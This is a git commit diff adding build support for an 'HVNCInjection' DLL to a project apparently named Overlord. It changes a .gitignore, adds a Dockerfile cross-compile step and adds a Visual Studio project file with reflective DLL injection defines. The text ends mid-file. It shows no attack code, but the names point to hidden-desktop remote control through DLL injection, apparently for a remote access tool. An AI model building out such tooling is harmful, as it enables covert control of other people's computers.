add hvnc cloning
This commit is contained in:
+430
@@ -22,6 +22,7 @@ bin/
|
|||||||
*.exe
|
*.exe
|
||||||
*.test
|
*.test
|
||||||
*.out
|
*.out
|
||||||
|
*.dll
|
||||||
|
|
||||||
# Certificates (auto-generated)
|
# Certificates (auto-generated)
|
||||||
certs/
|
certs/
|
||||||
@@ -49,3 +50,432 @@ Overlord-Server/data/
|
|||||||
release/
|
release/
|
||||||
|
|
||||||
stress/
|
stress/
|
||||||
|
|
||||||
|
## Ignore Visual Studio temporary files, build results, and
|
||||||
|
## files generated by popular Visual Studio add-ons.
|
||||||
|
##
|
||||||
|
## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
|
||||||
|
|
||||||
|
# User-specific files
|
||||||
|
*.rsuser
|
||||||
|
*.suo
|
||||||
|
*.user
|
||||||
|
*.userosscache
|
||||||
|
*.sln.docstates
|
||||||
|
*.env
|
||||||
|
|
||||||
|
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||||
|
*.userprefs
|
||||||
|
|
||||||
|
# Mono auto generated files
|
||||||
|
mono_crash.*
|
||||||
|
|
||||||
|
# Build results
|
||||||
|
[Dd]ebug/
|
||||||
|
[Dd]ebugPublic/
|
||||||
|
[Rr]elease/
|
||||||
|
[Rr]eleases/
|
||||||
|
|
||||||
|
[Dd]ebug/x64/
|
||||||
|
[Dd]ebugPublic/x64/
|
||||||
|
[Rr]elease/x64/
|
||||||
|
[Rr]eleases/x64/
|
||||||
|
bin/x64/
|
||||||
|
obj/x64/
|
||||||
|
|
||||||
|
[Dd]ebug/x86/
|
||||||
|
[Dd]ebugPublic/x86/
|
||||||
|
[Rr]elease/x86/
|
||||||
|
[Rr]eleases/x86/
|
||||||
|
bin/x86/
|
||||||
|
obj/x86/
|
||||||
|
|
||||||
|
[Ww][Ii][Nn]32/
|
||||||
|
[Aa][Rr][Mm]/
|
||||||
|
[Aa][Rr][Mm]64/
|
||||||
|
[Aa][Rr][Mm]64[Ee][Cc]/
|
||||||
|
bld/
|
||||||
|
[Oo]bj/
|
||||||
|
[Oo]ut/
|
||||||
|
[Ll]og/
|
||||||
|
[Ll]ogs/
|
||||||
|
|
||||||
|
# Build results on 'Bin' directories
|
||||||
|
**/[Bb]in/*
|
||||||
|
# Uncomment if you have tasks that rely on *.refresh files to move binaries
|
||||||
|
# (https://github.com/github/gitignore/pull/3736)
|
||||||
|
#!**/[Bb]in/*.refresh
|
||||||
|
|
||||||
|
# Visual Studio 2015/2017 cache/options directory
|
||||||
|
.vs/
|
||||||
|
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||||
|
#wwwroot/
|
||||||
|
|
||||||
|
# Visual Studio 2017 auto generated files
|
||||||
|
Generated\ Files/
|
||||||
|
|
||||||
|
# MSTest test Results
|
||||||
|
[Tt]est[Rr]esult*/
|
||||||
|
[Bb]uild[Ll]og.*
|
||||||
|
*.trx
|
||||||
|
|
||||||
|
# NUnit
|
||||||
|
*.VisualState.xml
|
||||||
|
TestResult.xml
|
||||||
|
nunit-*.xml
|
||||||
|
|
||||||
|
# Approval Tests result files
|
||||||
|
*.received.*
|
||||||
|
|
||||||
|
# Build Results of an ATL Project
|
||||||
|
[Dd]ebugPS/
|
||||||
|
[Rr]eleasePS/
|
||||||
|
dlldata.c
|
||||||
|
|
||||||
|
# Benchmark Results
|
||||||
|
BenchmarkDotNet.Artifacts/
|
||||||
|
|
||||||
|
# .NET Core
|
||||||
|
project.lock.json
|
||||||
|
project.fragment.lock.json
|
||||||
|
artifacts/
|
||||||
|
|
||||||
|
# ASP.NET Scaffolding
|
||||||
|
ScaffoldingReadMe.txt
|
||||||
|
|
||||||
|
# StyleCop
|
||||||
|
StyleCopReport.xml
|
||||||
|
|
||||||
|
# Files built by Visual Studio
|
||||||
|
*_i.c
|
||||||
|
*_p.c
|
||||||
|
*_h.h
|
||||||
|
*.ilk
|
||||||
|
*.meta
|
||||||
|
*.obj
|
||||||
|
*.idb
|
||||||
|
*.iobj
|
||||||
|
*.pch
|
||||||
|
*.pdb
|
||||||
|
*.ipdb
|
||||||
|
*.pgc
|
||||||
|
*.pgd
|
||||||
|
*.rsp
|
||||||
|
# but not Directory.Build.rsp, as it configures directory-level build defaults
|
||||||
|
!Directory.Build.rsp
|
||||||
|
*.sbr
|
||||||
|
*.tlb
|
||||||
|
*.tli
|
||||||
|
*.tlh
|
||||||
|
*.tmp
|
||||||
|
*.tmp_proj
|
||||||
|
*_wpftmp.csproj
|
||||||
|
*.log
|
||||||
|
*.tlog
|
||||||
|
*.vspscc
|
||||||
|
*.vssscc
|
||||||
|
.builds
|
||||||
|
*.pidb
|
||||||
|
*.svclog
|
||||||
|
*.scc
|
||||||
|
|
||||||
|
# Chutzpah Test files
|
||||||
|
_Chutzpah*
|
||||||
|
|
||||||
|
# Visual C++ cache files
|
||||||
|
ipch/
|
||||||
|
*.aps
|
||||||
|
*.ncb
|
||||||
|
*.opendb
|
||||||
|
*.opensdf
|
||||||
|
*.sdf
|
||||||
|
*.cachefile
|
||||||
|
*.VC.db
|
||||||
|
*.VC.VC.opendb
|
||||||
|
|
||||||
|
# Visual Studio profiler
|
||||||
|
*.psess
|
||||||
|
*.vsp
|
||||||
|
*.vspx
|
||||||
|
*.sap
|
||||||
|
|
||||||
|
# Visual Studio Trace Files
|
||||||
|
*.e2e
|
||||||
|
|
||||||
|
# TFS 2012 Local Workspace
|
||||||
|
$tf/
|
||||||
|
|
||||||
|
# Guidance Automation Toolkit
|
||||||
|
*.gpState
|
||||||
|
|
||||||
|
# ReSharper is a .NET coding add-in
|
||||||
|
_ReSharper*/
|
||||||
|
*.[Rr]e[Ss]harper
|
||||||
|
*.DotSettings.user
|
||||||
|
|
||||||
|
# TeamCity is a build add-in
|
||||||
|
_TeamCity*
|
||||||
|
|
||||||
|
# DotCover is a Code Coverage Tool
|
||||||
|
*.dotCover
|
||||||
|
|
||||||
|
# AxoCover is a Code Coverage Tool
|
||||||
|
.axoCover/*
|
||||||
|
!.axoCover/settings.json
|
||||||
|
|
||||||
|
# Coverlet is a free, cross platform Code Coverage Tool
|
||||||
|
coverage*.json
|
||||||
|
coverage*.xml
|
||||||
|
coverage*.info
|
||||||
|
|
||||||
|
# Visual Studio code coverage results
|
||||||
|
*.coverage
|
||||||
|
*.coveragexml
|
||||||
|
|
||||||
|
# NCrunch
|
||||||
|
_NCrunch_*
|
||||||
|
.NCrunch_*
|
||||||
|
.*crunch*.local.xml
|
||||||
|
nCrunchTemp_*
|
||||||
|
|
||||||
|
# MightyMoose
|
||||||
|
*.mm.*
|
||||||
|
AutoTest.Net/
|
||||||
|
|
||||||
|
# Web workbench (sass)
|
||||||
|
.sass-cache/
|
||||||
|
|
||||||
|
# Installshield output folder
|
||||||
|
[Ee]xpress/
|
||||||
|
|
||||||
|
# DocProject is a documentation generator add-in
|
||||||
|
DocProject/buildhelp/
|
||||||
|
DocProject/Help/*.HxT
|
||||||
|
DocProject/Help/*.HxC
|
||||||
|
DocProject/Help/*.hhc
|
||||||
|
DocProject/Help/*.hhk
|
||||||
|
DocProject/Help/*.hhp
|
||||||
|
DocProject/Help/Html2
|
||||||
|
DocProject/Help/html
|
||||||
|
|
||||||
|
# Click-Once directory
|
||||||
|
publish/
|
||||||
|
|
||||||
|
# Publish Web Output
|
||||||
|
*.[Pp]ublish.xml
|
||||||
|
*.azurePubxml
|
||||||
|
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||||
|
# but database connection strings (with potential passwords) will be unencrypted
|
||||||
|
*.pubxml
|
||||||
|
*.publishproj
|
||||||
|
|
||||||
|
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||||
|
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||||
|
# in these scripts will be unencrypted
|
||||||
|
PublishScripts/
|
||||||
|
|
||||||
|
# NuGet Packages
|
||||||
|
*.nupkg
|
||||||
|
# NuGet Symbol Packages
|
||||||
|
*.snupkg
|
||||||
|
# The packages folder can be ignored because of Package Restore
|
||||||
|
**/[Pp]ackages/*
|
||||||
|
# except build/, which is used as an MSBuild target.
|
||||||
|
!**/[Pp]ackages/build/
|
||||||
|
# Uncomment if necessary however generally it will be regenerated when needed
|
||||||
|
#!**/[Pp]ackages/repositories.config
|
||||||
|
# NuGet v3's project.json files produces more ignorable files
|
||||||
|
*.nuget.props
|
||||||
|
*.nuget.targets
|
||||||
|
|
||||||
|
# Microsoft Azure Build Output
|
||||||
|
csx/
|
||||||
|
*.build.csdef
|
||||||
|
|
||||||
|
# Microsoft Azure Emulator
|
||||||
|
ecf/
|
||||||
|
rcf/
|
||||||
|
|
||||||
|
# Windows Store app package directories and files
|
||||||
|
AppPackages/
|
||||||
|
BundleArtifacts/
|
||||||
|
Package.StoreAssociation.xml
|
||||||
|
_pkginfo.txt
|
||||||
|
*.appx
|
||||||
|
*.appxbundle
|
||||||
|
*.appxupload
|
||||||
|
|
||||||
|
# Visual Studio cache files
|
||||||
|
# files ending in .cache can be ignored
|
||||||
|
*.[Cc]ache
|
||||||
|
# but keep track of directories ending in .cache
|
||||||
|
!?*.[Cc]ache/
|
||||||
|
|
||||||
|
# Others
|
||||||
|
ClientBin/
|
||||||
|
~$*
|
||||||
|
*~
|
||||||
|
*.dbmdl
|
||||||
|
*.dbproj.schemaview
|
||||||
|
*.jfm
|
||||||
|
*.pfx
|
||||||
|
*.publishsettings
|
||||||
|
orleans.codegen.cs
|
||||||
|
|
||||||
|
# Including strong name files can present a security risk
|
||||||
|
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||||
|
#*.snk
|
||||||
|
|
||||||
|
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||||
|
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||||
|
#bower_components/
|
||||||
|
|
||||||
|
# RIA/Silverlight projects
|
||||||
|
Generated_Code/
|
||||||
|
|
||||||
|
# Backup & report files from converting an old project file
|
||||||
|
# to a newer Visual Studio version. Backup files are not needed,
|
||||||
|
# because we have git ;-)
|
||||||
|
_UpgradeReport_Files/
|
||||||
|
Backup*/
|
||||||
|
UpgradeLog*.XML
|
||||||
|
UpgradeLog*.htm
|
||||||
|
ServiceFabricBackup/
|
||||||
|
*.rptproj.bak
|
||||||
|
|
||||||
|
# SQL Server files
|
||||||
|
*.mdf
|
||||||
|
*.ldf
|
||||||
|
*.ndf
|
||||||
|
|
||||||
|
# Business Intelligence projects
|
||||||
|
*.rdl.data
|
||||||
|
*.bim.layout
|
||||||
|
*.bim_*.settings
|
||||||
|
*.rptproj.rsuser
|
||||||
|
*- [Bb]ackup.rdl
|
||||||
|
*- [Bb]ackup ([0-9]).rdl
|
||||||
|
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||||
|
|
||||||
|
# Microsoft Fakes
|
||||||
|
FakesAssemblies/
|
||||||
|
|
||||||
|
# GhostDoc plugin setting file
|
||||||
|
*.GhostDoc.xml
|
||||||
|
|
||||||
|
# Node.js Tools for Visual Studio
|
||||||
|
.ntvs_analysis.dat
|
||||||
|
node_modules/
|
||||||
|
|
||||||
|
# Visual Studio 6 build log
|
||||||
|
*.plg
|
||||||
|
|
||||||
|
# Visual Studio 6 workspace options file
|
||||||
|
*.opt
|
||||||
|
|
||||||
|
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||||
|
*.vbw
|
||||||
|
|
||||||
|
# Visual Studio 6 workspace and project file (working project files containing files to include in project)
|
||||||
|
*.dsw
|
||||||
|
*.dsp
|
||||||
|
|
||||||
|
# Visual Studio 6 technical files
|
||||||
|
*.ncb
|
||||||
|
*.aps
|
||||||
|
|
||||||
|
# Visual Studio LightSwitch build output
|
||||||
|
**/*.HTMLClient/GeneratedArtifacts
|
||||||
|
**/*.DesktopClient/GeneratedArtifacts
|
||||||
|
**/*.DesktopClient/ModelManifest.xml
|
||||||
|
**/*.Server/GeneratedArtifacts
|
||||||
|
**/*.Server/ModelManifest.xml
|
||||||
|
_Pvt_Extensions
|
||||||
|
|
||||||
|
# Paket dependency manager
|
||||||
|
**/.paket/paket.exe
|
||||||
|
paket-files/
|
||||||
|
|
||||||
|
# FAKE - F# Make
|
||||||
|
**/.fake/
|
||||||
|
|
||||||
|
# CodeRush personal settings
|
||||||
|
**/.cr/personal
|
||||||
|
|
||||||
|
# Python Tools for Visual Studio (PTVS)
|
||||||
|
**/__pycache__/
|
||||||
|
*.pyc
|
||||||
|
|
||||||
|
# Cake - Uncomment if you are using it
|
||||||
|
#tools/**
|
||||||
|
#!tools/packages.config
|
||||||
|
|
||||||
|
# Tabs Studio
|
||||||
|
*.tss
|
||||||
|
|
||||||
|
# Telerik's JustMock configuration file
|
||||||
|
*.jmconfig
|
||||||
|
|
||||||
|
# BizTalk build output
|
||||||
|
*.btp.cs
|
||||||
|
*.btm.cs
|
||||||
|
*.odx.cs
|
||||||
|
*.xsd.cs
|
||||||
|
|
||||||
|
# OpenCover UI analysis results
|
||||||
|
OpenCover/
|
||||||
|
|
||||||
|
# Azure Stream Analytics local run output
|
||||||
|
ASALocalRun/
|
||||||
|
|
||||||
|
# MSBuild Binary and Structured Log
|
||||||
|
*.binlog
|
||||||
|
MSBuild_Logs/
|
||||||
|
|
||||||
|
# AWS SAM Build and Temporary Artifacts folder
|
||||||
|
.aws-sam
|
||||||
|
|
||||||
|
# NVidia Nsight GPU debugger configuration file
|
||||||
|
*.nvuser
|
||||||
|
|
||||||
|
# MFractors (Xamarin productivity tool) working folder
|
||||||
|
**/.mfractor/
|
||||||
|
|
||||||
|
# Local History for Visual Studio
|
||||||
|
**/.localhistory/
|
||||||
|
|
||||||
|
# Visual Studio History (VSHistory) files
|
||||||
|
.vshistory/
|
||||||
|
|
||||||
|
# BeatPulse healthcheck temp database
|
||||||
|
healthchecksdb
|
||||||
|
|
||||||
|
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||||
|
MigrationBackup/
|
||||||
|
|
||||||
|
# Ionide (cross platform F# VS Code tools) working folder
|
||||||
|
**/.ionide/
|
||||||
|
|
||||||
|
# Fody - auto-generated XML schema
|
||||||
|
FodyWeavers.xsd
|
||||||
|
|
||||||
|
# VS Code files for those working on multiple tools
|
||||||
|
.vscode/*
|
||||||
|
!.vscode/settings.json
|
||||||
|
!.vscode/tasks.json
|
||||||
|
!.vscode/launch.json
|
||||||
|
!.vscode/extensions.json
|
||||||
|
!.vscode/*.code-snippets
|
||||||
|
|
||||||
|
# Local History for Visual Studio Code
|
||||||
|
.history/
|
||||||
|
|
||||||
|
# Built Visual Studio Code Extensions
|
||||||
|
*.vsix
|
||||||
|
|
||||||
|
# Windows Installer files from build outputs
|
||||||
|
*.cab
|
||||||
|
*.msi
|
||||||
|
*.msix
|
||||||
|
*.msm
|
||||||
|
*.msp
|
||||||
+13
@@ -63,6 +63,19 @@ RUN bun install --frozen-lockfile
|
|||||||
COPY Overlord-Server/ ./
|
COPY Overlord-Server/ ./
|
||||||
COPY Overlord-Client/ ./Overlord-Client/
|
COPY Overlord-Client/ ./Overlord-Client/
|
||||||
|
|
||||||
|
# Copy HVNCInjection source and build script for cross-compilation
|
||||||
|
COPY HVNCInjection/ ./HVNCInjection/
|
||||||
|
COPY build-hvnc-dll.sh ./build-hvnc-dll.sh
|
||||||
|
|
||||||
|
# Attempt to cross-compile HVNCInjection DLL with mingw.
|
||||||
|
# Requires MinHook source in HVNCInjection/src/minhook/.
|
||||||
|
# If unavailable, pre-build the DLL on Windows with build-hvnc-dll.bat
|
||||||
|
# and place it at Overlord-Server/dist-clients/HVNCInjection.x64.dll.
|
||||||
|
RUN chmod +x build-hvnc-dll.sh && \
|
||||||
|
HVNC_SRC_DIR=HVNCInjection/src HVNC_OUT_DIR=dist-clients bash build-hvnc-dll.sh || \
|
||||||
|
(test -f dist-clients/HVNCInjection.x64.dll && echo "Using pre-built DLL") || \
|
||||||
|
echo "WARNING: HVNCInjection DLL not available"
|
||||||
|
|
||||||
# Create necessary directories
|
# Create necessary directories
|
||||||
RUN mkdir -p certs public data
|
RUN mkdir -p certs public data
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,286 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|ARM">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>ARM</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|ARM">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>ARM</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{483CE4EF-7B5C-4C47-BAC5-2EA5CD09EBFC}</ProjectGuid>
|
||||||
|
<RootNamespace>HVNCInjection</RootNamespace>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MinSpace</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Midl>
|
||||||
|
<TargetEnvironment>X64</TargetEnvironment>
|
||||||
|
</Midl>
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<CompileAs>CompileAsCpp</CompileAs>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<TargetMachine>MachineX64</TargetMachine>
|
||||||
|
<AdditionalLibraryDirectories>$(ProjectDir)src;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
|
||||||
|
if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
|
||||||
|
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
|
||||||
|
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
